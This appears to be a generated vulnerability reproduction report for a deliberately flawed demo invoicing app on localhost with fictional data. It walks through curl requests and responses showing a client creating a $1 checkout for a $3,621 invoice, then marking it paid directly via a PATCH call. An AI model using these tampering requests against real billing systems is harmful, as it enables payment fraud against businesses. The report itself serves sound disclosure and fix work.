Failure mode: FM6 (research/FAILURE_MODES.md) · Severity: critical · Reproduced: yes
Impact: Any client can settle any invoice for $1, or for nothing, and the agency's books show it as paid in full.
Target: the before app's backend (localbase, a local Supabase stand-in) on 127.0.0.1, seeded with fictional demo data. Regenerate with pnpm tsx before/exploits/fm06-pay-one-dollar.ts or pnpm tsx before/exploits/run-all.ts. Generated 2026-11-22T16:05:26.267Z.
Setup
URL=http://127.0.0.1:4102
ANON=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... # the public anon key, readable in the JS bundle (before/.env VITE_SUPABASE_ANON_KEY)
JWT_PRIYA=$(curl -s -X POST "$URL/auth/v1/token?grant_type=password" -H "apikey: $ANON" -H "Content-Type: application/json" -d '{"email":"priya@bramblecoffee.example","password":"..."}' | jq -r .access_token)Steps
1. Sign in as priya@bramblecoffee.example (password grant, same call supabase-js makes)
curl -s -X POST "$URL/auth/v1/token?grant_type=password" \
-H "apikey: $ANON" \
-H "Content-Type: application/json" \
-d '{"email":"priya@bramblecoffee.example","password":"demo-password-2026"}'Response: HTTP 200
{
"access_token": "eyJhbGciOiJIUzI1NiIsInR5... (636 chars)",
"token_type": "bearer",
"user": {
"id": "145a74b3-49d5-4f35-99c5-963f9af0a6b5",
"email": "priya@bramblecoffee.example",
"user_metadata": {
"role": "client",
"full_name": "Priya Raman"
}
},
"...": "(other fields trimmed)"
}2. The invoice she owes (NLS-1035)
curl -s "$URL/rest/v1/invoices?select=number,status,total&id=eq.3f1c9a52-7d4e-4b8a-9c61-2e5f0a7b8d13" \
-H "apikey: $ANON" \
-H "Authorization: Bearer $JWT_PRIYA"Response: HTTP 200
[
{
"number": "NLS-1035",
"status": "sent",
"total": 3621.1799999999994
}
]3. What the "Pay now" button sends (src/pages/InvoiceDetail.tsx handlePayNow): the float total from the page
curl -s -X POST "$URL/functions/v1/create-checkout" \
-H "apikey: $ANON" \
-H "Authorization: Bearer $JWT_PRIYA" \
-H "Origin: http://127.0.0.1:4101" \
-H "Content-Type: application/json" \
-d '{"invoice_id":"3f1c9a52-7d4e-4b8a-9c61-2e5f0a7b8d13","amount":3621.1799999999994,"customer_email":"priya@bramblecoffee.example"}'Response: HTTP 200
{
"sessionId": "cs_test_b7vhmelasbmws136ul",
"url": "http://127.0.0.1:4101/checkout/mock?...",
"url_params": {
"session_id": "cs_test_b7vhmelasbmws136ul",
"amount_total": "362117.99999999994",
"currency": "usd",
"name": "Invoice NLS-1035",
"email": "priya@bramblecoffee.example",
"invoice_id": "3f1c9a52-7d4e-4b8a-9c61-2e5f0a7b8d13",
"success_url": "http://127.0.0.1:4101/invoices/3f1c9a52-7d4e-4b8a-9c61-2e5f0a7b8d13?paid=1",
"cancel_url": "http://127.0.0.1:4101/invoices/3f1c9a52-7d4e-4b8a-9c61-2e5f0a7b8d13",
"warn": "non_integer_unit_amount"
}
}Note amount_total: 362117.99999999994: amount * 100 on a float. Live Stripe rejects a non-integer unit_amount with 400 invalid_integer, and the page ignores the error, so this invoice cannot be paid at all. The mock lets it through so the float is visible.
4. The same call with the amount edited to 1
curl -s -X POST "$URL/functions/v1/create-checkout" \
-H "apikey: $ANON" \
-H "Authorization: Bearer $JWT_PRIYA" \
-H "Origin: http://127.0.0.1:4101" \
-H "Content-Type: application/json" \
-d '{"invoice_id":"3f1c9a52-7d4e-4b8a-9c61-2e5f0a7b8d13","amount":1,"customer_email":"priya@bramblecoffee.example"}'Response: HTTP 200
{
"sessionId": "cs_test_q0qkb3ptvdmws136ut",
"url": "http://127.0.0.1:4101/checkout/mock?...",
"url_params": {
"session_id": "cs_test_q0qkb3ptvdmws136ut",
"amount_total": "100",
"currency": "usd",
"name": "Invoice NLS-1035",
"email": "priya@bramblecoffee.example",
"invoice_id": "3f1c9a52-7d4e-4b8a-9c61-2e5f0a7b8d13",
"success_url": "http://127.0.0.1:4101/invoices/3f1c9a52-7d4e-4b8a-9c61-2e5f0a7b8d13?paid=1",
"cancel_url": "http://127.0.0.1:4101/invoices/3f1c9a52-7d4e-4b8a-9c61-2e5f0a7b8d13"
}
}5. The $1 checkout session, summarised
session_id=cs_test_q0qkb3ptvdmws136ut
amount_total=100 (cents) -> the client is charged $1
metadata.invoice_id=3f1c9a52-7d4e-4b8a-9c61-2e5f0a7b8d13
success_url=http://127.0.0.1:4101/invoices/3f1c9a52-7d4e-4b8a-9c61-2e5f0a7b8d13?paid=16. Skip paying entirely: opening success_url (/invoices/:id?paid=1) makes the page send this update
curl -s -X PATCH "$URL/rest/v1/invoices?id=eq.3f1c9a52-7d4e-4b8a-9c61-2e5f0a7b8d13&select=number,status,total,paid_at" \
-H "apikey: $ANON" \
-H "Authorization: Bearer $JWT_PRIYA" \
-H "Prefer: return=representation" \
-H "Content-Type: application/json" \
-d '{"status":"paid","paid_at":"2026-11-22T16:05:26.264Z"}'Response: HTTP 200
[
{
"number": "NLS-1035",
"status": "paid",
"total": 3621.1799999999994,
"paid_at": "2026-11-22T16:05:26.264+00:00"
}
]What this shows
- create-checkout trusted
amount: 1and built a $1 session for an invoice whose total is $3621.1799999999994. Nothing compares the two (supabase/functions/create-checkout/index.ts, "[FM6]"). - The webhook would then mark the invoice paid by
metadata.invoice_id, without checking amount_total either (see fm07). - Paying is optional: the success page flips the status itself, so typing the URL is enough. Database now shows the invoice as
paid.